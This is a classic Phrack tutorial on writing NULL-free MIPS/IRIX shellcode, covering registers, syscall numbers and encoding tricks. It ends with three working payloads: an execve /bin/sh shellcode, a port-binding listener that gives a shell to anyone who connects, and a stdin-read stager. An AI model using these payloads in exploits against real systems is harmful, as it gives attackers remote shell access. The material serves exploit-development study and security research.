Power Hacker 2003

home *** CD-ROM | disk | FTP | other *** search

/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / papers / advancedoverflows / p56-0x0f.txt < prev next >

Wrap

Text File | 2000-12-24 | 29.6 KB | 754 lines

- P H R A C K M A G A Z I N E - Volume 0xa Issue 0x38 05.01.2000 0x0f[0x10] |------------------------ WRITING MIPS/IRIX SHELLCODE ------------------------| |-----------------------------------------------------------------------------| |--------------------------------- scut/teso ---------------------------------| ----| Intro Writing shellcode for the MIPS/Irix platform is not much different from writing shellcode for the x86 architecture. There are, however, a few tricks worth knowing when attempting to write clean shellcode (which does not have any NULL bytes and works completely independent from it's position). This small paper will provide you with a crash course on writing IRIX shellcode for use in exploits. It covers the basic stuff you need to know to start writing basic IRIX shellcode. It is divided into the following sections: - The IRIX operating system - MIPS architecture - MIPS instructions - MIPS registers - The MIPS assembly language - High level language function representation - Syscalls and Exceptions - IRIX syscalls - Common constructs - Tuning the shellcode - Example shellcode - References ----| The IRIX operating system The Irix operating system was developed independently by Silicon Graphics and is UNIX System V.4 compliant. It has been designed for the MIPS CPU's, which have a unique history and have pioneered 64-bit and RISC technology. The current Irix version is 6.5.7. There are two major versions, called feature (6.5.7f) and maintenance (6.5.7m) release, from which the feature release is focused on new features and technologies and the maintenance release on bug fixes and stability. All modern Irix platforms are binary compatible and this shellcode discussion and the example shellcodes have been tested on over half a dozen different Irix computer systems. ----| MIPS architecture First of all you have to have some basic knowledge about the MIPS CPU architecture. There are a lot of different types of the MIPS CPU, the most common are the R4x00 and R10000 series (which share the same instruction set). A MIPS CPU is a typical RISC-based CPU, meaning it has a reduced instruction set with less instructions then a CISC CPU, such as the x86. The core concept of a RISC CPU is a tradeoff between simplicity and concurrency: There are less instructions, but the existing ones can be executed quickly and in parallel. Because of this small number of instructions there is less redundancy per instruction, and some things can only be done using a single instruction, while on a CISC CPU this can only be achieved by using a variety of different instructions, each one doing basically the same thing. As a result of this, MIPS machine code is larger then CISC machine code, since often multiple instructions are required to accomplish the same operation that CISC CPU's are able to do with one single instruction. Multiple instructions do not, however, result in slower code. This is a matter of overall execution speed, which is extremely high because of the parallel execution of the instructions. On a MIPS CPU the concurrency is very advanced, and the CPU has a pipeline with five slots, which means five instructions are processed at the same time and every instruction has five stages, from the initial IF pipestage (instruction fetch) to the last, the WB pipestage (write back). Because the instructions overlap within the pipeline, there are some "anomalies" that have to be considered when writing MIPS machine code: - there is a branch delay slot: the instruction following the branch instruction is still in the pipeline and is executed after the jump has taken place - the return address for subroutines ($ra) and syscalls (C0_EPC) points not to the instruction after the branch/jump/syscall instruction but to the instruction after the branch delay slot instruction - since every instruction is divided into five pipestages the MIPS design has reflected this on the instructions itself: every instruction is 32 bits broad (4 bytes), and can be divided most of the times into segments which correspond with each pipestage ----| MIPS instructions MIPS instructions are not just 32 bit long each, they often share a similar mapping too. An instruction can be divided into the following sections: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 31302928272625242322212019181716151413121110 9 8 7 6 5 4 3 2 1 0 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | op | sub-op |xxxxxxxxxxxxxxxxxxxxxxxxxxxxx| subcode | +-----------+---------+-----------------------------+-----------+ The "op" field denotes the six bit primary opcode. Some instructions, such as long jumps (see below) have a unique code here, the rest are grouped by function. The "sub-op" section, which is five bytes long can represent either a specific sub opcode as extension to the primary opcode or can be a register block. A register block is always five bits long and selects one of the CPU registers for an operation. The subcode is the opcode for the arithmetic and logical instructions, which have a primary opcode of zero. The logical and arithmetic instructions share a RISC-unique attribute: They do not work with two registers, such as common x86 instructions, but they use three registers, named "destination", "target" and "source". This allows more flexible code, if you still want CISC-like instructions, such as "add %eax, %ecx", just use the same destination and target register for the operation. A typical MIPS instruction looks like: or a0, a1, t4 which is easy to represent in C as "a0 = a1 | t4". The order is almost always equivalent to a simple C expression. Some simple instructions are listed below. - dest, source, target, and register are registers (see section on MIPS registers below). - value is a 16 bit value, either signed or not, depending on the instruction. - offset is a 16 bit relative offset. loffset is a 26 bit offset, which is shifted so that it lies on a four byte boundary. or dest, source, target logical or: dest = source | target nor dest, source, target logical not or: d = ~ (source | target) add dest, source, target add: dest = source + target addu dest, source, value add immediate signed: dest = source + value and dest, source, target logical and: dest = source & target beq source, target, offset if (source == target) goto offset bgez source, offset if (source >= 0) goto offset bgezal source, offset if (source >= 0) offset () bgtz source, offset if (source > 0) goto offset bltz source, offset if (source < 0) goto offset bltzal source, offset if (source < 0) offset () bne source, target, offset if (source != target) goto offset j loffset goto loffset (within 2^28 byte range) jr register jump to address in register jal loffset loffset (), store retaddr in $ra li dest, value load imm.: expanded to either ori or addiu lw dest, offset dest = *((int *) (offset)) slt dest, source, target signed: dest = (source < target) ? 1 : 0 slti dest, source, value signed: dest = (source < value) ? 1 : 0 sltiu dest, source, value unsigned: dest = (source < value) ? 1 : 0 sub dest, source, target dest = source - target sw source, offset *((int *) offset) = source syscall raise syscall exception xor dest, source, target dest = source ^ target xori dest, source, value dest = source ^ value This is obviously not complete. However, it does cover the most important instructions for writing shellcode. Most of the instructions in the example shellcodes can be found here. For the complete list of instructions see either [1] or [2]. ----| MIPS registers The MIPS CPU has plenty of registers. Since we already know registers are addressed using a five bit block, there must be 32 registers, $0 to $31. They are all alike except for $0 and $31. For $0 the case is very simple: No matter what you do to the register, it always contains zero. This is practical for a lot of arithmetic instructions and can results in elegant code design. The $0 register has been assigned the symbolic name $zero. The $31 register is also called $ra, for "return address". Why should a register ever contain a return address if there is such a nice stack to store it? And how should recursion be handled otherwise? Well, the short answer is, there is no real stack and yes it works. For the longer answer we will shortly discuss what happens when a function is called on a RISC CPU. When this is done a special instruction called "jal" is used. This instruction overwrites the content of the $ra ($31) register with the appropriate return address and then jumps to an arbitrary address. The called function does however see the return address in $ra and once finished just jumps back (using the "jr" instruction) to the return address. But what if the function wants to call functions, too? Then there is a stack-like segment the function can store the return address on, later restore it and then continue to work as usual. Why "stack-like"? Because there is only a stack by convention, and any register may be used to behave like a stack. There are no push or pop instructions however, and the register has to be adjusted manually. The "stack" register is $29, symbolically referred as $sp. The stack grows to the smaller addresses, just like on the x86 architecture. There other register conventions, nearly as many as there are registers. For the sake of completeness here is a small listing: number symbolic function ------- --------- ----------------------------------------------------------- $0 $zero always contains zero $1 $at is used by assembler (see below), do not use it $2-$3 $v0, $v1 subroutine return values $4-$7 $a0-$a3 subroutine arguments $8-$15 $t0-$t7 temporary registers, may be overwritten by subroutine $16-$23 $s0-$s7 subroutine registers, have to be saved by called function before they may be used $24,$25 $t8, $t9 temporary registers, may be overwritten by subroutine $26,$27 $k0, $k1 interrupt/trap handler reserved registers, do not use $28 $gp global pointer, used to access static and extern variables $29 $sp stack pointer $30 $s8/$fp subroutine register, commonly used as a frame pointer $31 $ra return address There are also 32 floating point registers, each 32 bits long (64 bits on newer MIPS CPUs). They are not important for system programming, so we will not discuss them here. ----| The MIPS assembly language Because the instructions are relatively primitive and programmers often want to accomplish more complex things, the MIPS assembly language works with a lot of macro instructions. They sometimes provide really necessary operations, such as subtracting a number from a register (which is converted to a signed add by the assembler) to complex macros, such as finding the remainder for a division. But the assembler does a lot more than providing macros for common operations. We already mentioned the pipeline in which instructions are processed simultaneously. Often the execution directly depends on the order within the pipeline, because the registers accessed with the instructions are written back in the last pipestage, the WB (write-back) stage and cannot be accessed before by other instructions. For old MIPS CPUs the MIPS abbreviation is true when saying "Microcomputer without Interlocked Pipeline Stages", you just cannot access the register in the instruction directly following the one that modifies this register. Nearly all MIPS CPUs currently in service do have an interlock though, they just wait until the data from the instruction is written back to the register before allowing the following instruction to read it. In practice you only have to worry when writing very low level assembly code, such as shellcode :-), because most of the times the assembler will reorder and replace your instructions so that they exploit the pipelined architecture at best. You can turnoff this reordering and macros in any MIPS assembler, if you want to. The MIPS CPUs and RISC CPUs altogether were not designed with easy assembly language programming in mind. It is more difficult, however, to program a RISC CPU in assembly than any CISC CPU. Even the first sentences of the MIPS Pro Assembler Manual from the MIPS corporation recommend to use MIPS assembly language only for hardware near routines or operating system programming. In most cases a good C compiler, such as the one MIPS developed will optimize the pipeline and register usage way better then any programmer might do in assembly. However, when writing shellcodes we have to face the bare machine code and have to write size-optimized code, which does not contain any NULL bytes. A compiler might use large code to unroll loops or to use faster constructs, we can not. ----| High level language function representation Most of the time, a normal C function can be represented very easily in MIPS assembly. You just have to differentiate between leaf and non-leaf functions. A non-leaf function is a function that does not call any other function. Such functions do not need to store the return address on the stack, but keep it in $ra for the whole time. The arguments to a function are stored by the calling function in $a0, $a1, $a2 and $a3. If this space is not sufficient enough extra stack space is used, but in most cases the registers suffice. The function may return two 32bit values through the $v0 and $v1 registers. For temporary space the called function may use the stack referred to by $sp. Also registers are commonly saved on the stack and later restored from it. The temporary registers ($t0-$t9) may be overwritten in the called function without restoring them later, if the calling functions wants to preserve them, it has to save them itself. The stack usually starts at 0x80000000 and grows towards small addresses. As was already said, it is very similar to the stack of an x86 system. ----| Syscalls and Exceptions On a typical Unix system there are only two modes that current execution can happen in: user mode and kernel mode. In most modern architectures this modes are directly supported by the CPU. The MIPS CPU has these two modes plus an extra mode called "supervisor mode". It was requested by engineers at DEC for their new range of workstations when the MIPS R4000 CPU was designed. Since the VMS/DEC market was important to MIPS, they implemented this third mode at DEC's request to allow the VMS operating system to be run on the CPU. However, DEC decided later to develop their own CPU, the Alpha CPU and the mode remained unused. Back to the execution modes... on current operating systems designed for the MIPS CPU only kernel mode and user mode are used. To switch from user mode to the kernel mode there is a mechanism called "exceptions". Whenever a user space process wants to let the kernel to do something or whenever the current execution can't be successfully continued the control is passed to the kernel space exception handler. For shellcode construction we have to know that we can make the kernel execute important operating system related stuff like I/O operations through the syscall exception, which is triggered through the "syscall" instruction. The syscall instruction looks like: syscall 0000.00xx xxxx.xxxx xxxx.xxxx xx00.1100 Where the x's represent the 20 bit broad syscall code, which is ignored on the Irix system. To avoid NULL bytes in your shellcode you can set those x-bits to arbitrary data. ----| IRIX syscalls The following list covers the most important syscalls for use in shellcodes. After all registers have been appropriately set the "syscall" instruction is executed and the execution flow is passed to the kernel. accept ------ int accept (int s, struct sockaddr *addr, socklen_t *addrlen); a0 = (int) s a1 = (struct sockaddr *) addr a2 = (socklen_t *) addrlen v0 = SYS_accept = 1089 = 0x0441 return values a3 = 0 success, a3 != 0 on failure v0 = new socket bind ---- int bind (int sockfd, struct sockaddr *my_addr, socklen_t addrlen); a0 = (int) sockfd a1 = (struct sockaddr *) my_addr a2 = (socklen_t) addrlen v0 = SYS_bind = 1090 = 0x0442 For the IN protocol family (TCP/IP) the sockaddr pointer points to a sockaddr_in struct which is 16 bytes long and typically looks like: "\x00\x02\xaa\xbb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", where aa is ((port >> 8) & 0xff) and bb is (port & 0xff). return values a3 = 0 success, a3 != 0 on failure v0 = 0 success, v0 != 0 on failure close ----- int close (int fd); a0 = (int) fd v0 = SYS_close = 1006 = 0x03ee return values a3 = 0 success, a3 != 0 on failure v0 = 0 success, v0 != 0 on failure execve ------ int execve (const char *filename, char *const argv [], char *const envp[]); a0 = (const char *) filename a1 = (chat * const) argv[] a2 = (char * const) envp[] v0 = SYS_execve = 1059 = 0x0423 return values should not return but replace current process with program, it only returns in case of errors fcntl ----- int fcntl (int fd, int cmd); int fcntl (int fd, int cmd, long arg); a0 = (int) fd a1 = (int) cmd a2 = (long) arg in case the command requires an argument v0 = SYS_fcntl = 1062 = 0x0426 return values a3 = 0 on success, a3 != 0 on failure v0 is the real return value and depends on the operation, see fcntl(2) for further information fork ---- int fork (void); v0 = SYS_fork = 1002 = 0x03ea return values a3 = 0 on success, a3 != 0 on failure v0 = 0 in child process, PID of child process in parent process listen ------ int listen (int s, int backlog); a0 = (int) s a1 = (int) backlog v0 = SYS_listen = 1096 = 0x0448 return values a3 = 0 on success, a3 != 0 on failure read ---- ssize_t read (int fd, void *buf, size_t count); a0 = (int) fd a1 = (void *) buf a2 = (size_t) count v0 = SYS_read = 1003 = 0x03eb return values a3 = 0 on success, a3 != 0 on failure v0 = number of bytes read socket ------ int socket (int domain, int type, int protocol); a0 = (int) domain a1 = (int) type a2 = (int) protocol v0 = SYS_socket = 1107 = 0x0453 return values a3 = 0 on success, a3 != 0 on failure v0 = new socket write ----- int write (int fileno, void *buffer, int length); a0 = (int) fileno a1 = (void *) buffer a2 = (int) length v0 = SYS_write = 1004 = 0x03ec return values a3 = 0 on success, a3 != 0 on failure v0 = number of bytes written The dup2 functionality is not implemented as system call but as libc wrapper for close and fcntl. Basically the dup2 function looks like (simplified): int dup2 (int des1, int des2) { int tmp_errno, maxopen; maxopen = (int) ulimit (4, 0); if (maxopen < 0) { maxopen = OPEN_MAX; } if (fcntl (des1, F_GETFL, 0) == -1) { _setoserror (EBADF); return -1; } if (des2 >= maxopen || des2 < 0) { _setoserror (EBADF); return -1; } if (des1 == des2) { return des2; } tmp_errno = _oserror(); close (des2); _setoserror (tmp_errno); return (fcntl (des1, F_DUPFD, des2)); } So without the validation dup2 (des1, des2) can be rewritten as: close (des2); fcntl (des1, F_DUPFD, des2); Which has been done in the portshell shellcode below. ----| Common constructs When writing shellcode there are always common operations, like getting the current address. Here are a few techniques that you can use in your shellcode: - Getting the current address li t8, -0x7350 /* load t8 with -0x7350 (leet) */ foo: bltzal t8, foo /* branch with $ra stored if t8 < 0 */ slti t8, zero, -1 /* t8 = 0 (see below) */ bar: Because the slti instruction is in the branch delay slot when the bltzal is executed the next time the bltzal will not branch and t8 will remain zero. $ra holds the address of the bar label when the same label is reached. - Loading small integer values Because every instruction is 32 bits long you cannot immediately load a 32 bit value into a register but you have to use two instructions. Most of the time, however, you just want to load small values, below 256. Values below 2^16 are stored as a 16 bit value within the instruction and values below 256 will result in ugly NULL bytes, that should be avoided in proper shellcode. Therefore we use a trick to load such small values: loading zero into reg (reg = 0): slti reg, zero, -1 loading one into reg (reg = 1): slti reg, zero, 0x0101 loading small integer values into reg (reg = value): li t8, -valmod /* valmod = value + 1 */ not reg, t8 For example if we want to load 4 into reg we would use: li t8, -5 not reg, t8 In case you need small values more than one time you can also store them into saved registers ($s0 - $s7, optionally $s8). - Moving registers In normal MIPS assembly you would use the simple move instruction, which results in an "or" instruction, but in shellcode you have to avoid NUL bytes, and you can use this construction, if you know that the value in the register is below 0xffff (65535): andi reg, source, 0xffff ----| Tuning the shellcode I recommend that you write your shellcodes in normal MIPS assembly and afterwards start removing the NULL bytes from top to bottom. For simple load instructions you can use the constructs above. For essential instructions try to play with the different registers, in some cases NULL bytes may be removed from arithmetic and logic instructions by using higher registers, such as $t8 or $s7. Next try replacing the single instruction with two or three accomplishing the same. Make use of the return values of syscalls or known register contents. Be creative, use a MIPS instruction reference from [1] or [2] and your brain and you will always find a good replacement. Once you made your shellcode NULL free you will notice the size has increased and your shellcode is quite bloated. Do not worry, this is normal, there is almost nothing you can do about it, RISC code is nearly always larger then the same code on x86. But you can do some small optimizations to decrease it's size. At first try to find replacements for instruction blocks, where more then one instruction is used to do one thing. Always take a look at the current register content and make use of return values or previously loaded values. Sometimes reordering helps you to avoid jumps. ----| Example shellcode All the shellcodes have been tested on the following systems, (thanks to vax, oxigen, zap and hendy): R4000/6.2, R4000/6.5, R4400/5.3, R4400/6.2, R4600/5.3, R5000/6.5 and R10000/6.4. <++> p56/MIPS-shellcode/sh_execve.h !4959db03 /* 68 byte MIPS/Irix PIC execve shellcode. -scut/teso */ unsigned long int shellcode[] = { 0xafa0fffc, /* sw $zero, -4($sp) */ 0x24067350, /* li $a2, 0x7350 */ /* dpatch: */ 0x04d0ffff, /* bltzal $a2, dpatch */ 0x8fa6fffc, /* lw $a2, -4($sp) */ /* a2 = (char **) envp = NULL */ 0x240fffcb, /* li $t7, -53 */ 0x01e07827, /* nor $t7, $t7, $zero */ 0x03eff821, /* addu $ra, $ra, $t7 */ /* a0 = (char *) pathname */ 0x23e4fff8, /* addi $a0, $ra, -8 */ /* fix 0x42 dummy byte in pathname to shell */ 0x8fedfffc, /* lw $t5, -4($ra) */ 0x25adffbe, /* addiu $t5, $t5, -66 */ 0xafedfffc, /* sw $t5, -4($ra) */ /* a1 = (char **) argv */ 0xafa4fff8, /* sw $a0, -8($sp) */ 0x27a5fff8, /* addiu $a1, $sp, -8 */ 0x24020423, /* li $v0, 1059 (SYS_execve) */ 0x0101010c, /* syscall */ 0x2f62696e, /* .ascii "/bin" */ 0x2f736842, /* .ascii "/sh", .byte 0xdummy */ }; <--> <++> p56/MIPS-shellcode/shc_portshell-listener.h !db48e22a /* 364 byte MIPS/Irix PIC listening portshell shellcode. -scut/teso */ unsigned long int shellcode[] = { 0x2416fffd, /* li $s6, -3 */ 0x02c07027, /* nor $t6, $s6, $zero */ 0x01ce2025, /* or $a0, $t6, $t6 */ 0x01ce2825, /* or $a1, $t6, $t6 */ 0x240efff9, /* li $t6, -7 */ 0x01c03027, /* nor $a2, $t6, $zero */ 0x24020453, /* li $v0, 1107 (socket) */ 0x0101010c, /* syscall */ 0x240f7350, /* li $t7, 0x7350 (nop) */ 0x3050ffff, /* andi $s0, $v0, 0xffff */ 0x280d0101, /* slti $t5, $zero, 0x0101 */ 0x240effee, /* li $t6, -18 */ 0x01c07027, /* nor $t6, $t6, $zero */ 0x01cd6804, /* sllv $t5, $t5, $t6 */ 0x240e7350, /* li $t6, 0x7350 (port) */ 0x01ae6825, /* or $t5, $t5, $t6 */ 0xafadfff0, /* sw $t5, -16($sp) */ 0xafa0fff4, /* sw $zero, -12($sp) */ 0xafa0fff8, /* sw $zero, -8($sp) */ 0xafa0fffc, /* sw $zero, -4($sp) */ 0x02102025, /* or $a0, $s0, $s0 */ 0x240effef, /* li $t6, -17 */ 0x01c03027, /* nor $a2, $t6, $zero */ 0x03a62823, /* subu $a1, $sp, $a2 */ 0x24020442, /* li $v0, 1090 (bind) */ 0x0101010c, /* syscall */ 0x240f7350, /* li $t7, 0x7350 (nop) */ 0x02102025, /* or $a0, $s0, $s0 */ 0x24050101, /* li $a1, 0x0101 */ 0x24020448, /* li $v0, 1096 (listen) */ 0x0101010c, /* syscall */ 0x240f7350, /* li $t7, 0x7350 (nop) */ 0x02102025, /* or $a0, $s0, $s0 */ 0x27a5fff0, /* addiu $a1, $sp, -16 */ 0x240dffef, /* li $t5, -17 */ 0x01a06827, /* nor $t5, $t5, $zero */ 0xafadffec, /* sw $t5, -20($sp) */ 0x27a6ffec, /* addiu $a2, $sp, -20 */ 0x24020441, /* li $v0, 1089 (accept) */ 0x0101010c, /* syscall */ 0x240f7350, /* li $t7, 0x7350 (nop) */ 0x3057ffff, /* andi $s7, $v0, 0xffff */ 0x2804ffff, /* slti $a0, $zero, -1 */ 0x240203ee, /* li $v0, 1006 (close) */ 0x0101010c, /* syscall */ 0x240f7350, /* li $t7, 0x7350 (nop) */ 0x02f72025, /* or $a0, $s7, $s7 */ 0x2805ffff, /* slti $a1, $zero, -1 */ 0x2806ffff, /* slti $a2, $zero, -1 */ 0x24020426, /* li $v0, 1062 (fcntl) */ 0x0101010c, /* syscall */ 0x240f7350, /* li $t7, 0x7350 (nop) */ 0x28040101, /* slti $a0, $zero, 0x0101 */ 0x240203ee, /* li $v0, 1006 (close) */ 0x0101010c, /* syscall */ 0x240f7350, /* li $t7, 0x7350 (nop) */ 0x02f72025, /* or $a0, $s7, $s7 */ 0x2805ffff, /* slti $a1, $zero, -1 */ 0x28060101, /* slti $a2, $zero, 0x0101 */ 0x24020426, /* li $v0, 1062 (fcntl) */ 0x0101010c, /* syscall */ 0x240f7350, /* li $t7, 0x7350 */ 0x02c02027, /* nor $a0, $s6, $zero */ 0x240203ee, /* li $v0, 1006 (close) */ 0x0101010c, /* syscall */ 0x240f7350, /* li $t7, 0x7350 (nop) */ 0x02f72025, /* or $a0, $s7, $s7 */ 0x2805ffff, /* slti $a1, $zero, -1 */ 0x02c03027, /* nor $a2, $s6, $zero */ 0x24020426, /* li $v0, 1062 (fcntl) */ 0x0101010c, /* syscall */ 0x240f7350, /* li $t7, 0x7350 (nop) */ 0xafa0fffc, /* sw $zero, -4($sp) */ 0x24068cb0, /* li $a2, -29520 */ 0x04d0ffff, /* bltzal $a2, pc-4 */ 0x8fa6fffc, /* lw $a2, -4($sp) */ 0x240fffc7, /* li $t7, -57 */ 0x01e07827, /* nor $t7, $t7, $zero */ 0x03eff821, /* addu $ra, $ra, $t7 */ 0x23e4fff8, /* addi $a0, $ra, -8 */ 0x8fedfffc, /* lw $t5, -4($ra) */ 0x25adffbe, /* addiu $t5, $t5, -66 */ 0xafedfffc, /* sw $t5, -4($ra) */ 0xafa4fff8, /* sw $a0, -8($sp) */ 0x27a5fff8, /* addiu $a1, $sp, -8 */ 0x24020423, /* li $v0, 1059 (execve) */ 0x0101010c, /* syscall */ 0x240f7350, /* li $t7, 0x7350 (nop) */ 0x2f62696e, /* .ascii "/bin" */ 0x2f736842, /* .ascii "/sh", .byte 0xdummy */ }; <--> <++> p56/MIPS-shellcode/shc_read.h !1996c2bb /* 40 byte MIPS/Irix PIC stdin-read shellcode. -scut/teso */ unsigned long int shellcode[] = { 0x24048cb0, /* li $a0, -0x7350 */ /* dpatch: */ 0x0490ffff, /* bltzal $a0, dpatch */ 0x2804ffff, /* slti $a0, $zero, -1 */ 0x240fffe3, /* li $t7, -29 */ 0x01e07827, /* nor $t7, $t7, $zero */ 0x03ef2821, /* addu $a1, $ra, $t7 */ 0x24060201, /* li $a2, 0x0201 (513 bytes) */ 0x240203eb, /* li $v0, SYS_read */ 0x0101010c, /* syscall */ 0x24187350, /* li $t8, 0x7350 (nop) */ }; <--> ----| References For further information you may want to consult this excellent references: [1] See MIPS Run Dominic Sweetman, Morgan Kaufmann Publishers ISBN 1-55860-410-3 [2] MIPSPro Assembly Language Programmer's Guide - Volume 1/2 Document Number 007-2418-001 http://www.mips.com/ and http://www.sgi.com/ |EOF|-------------------------------------------------------------------------|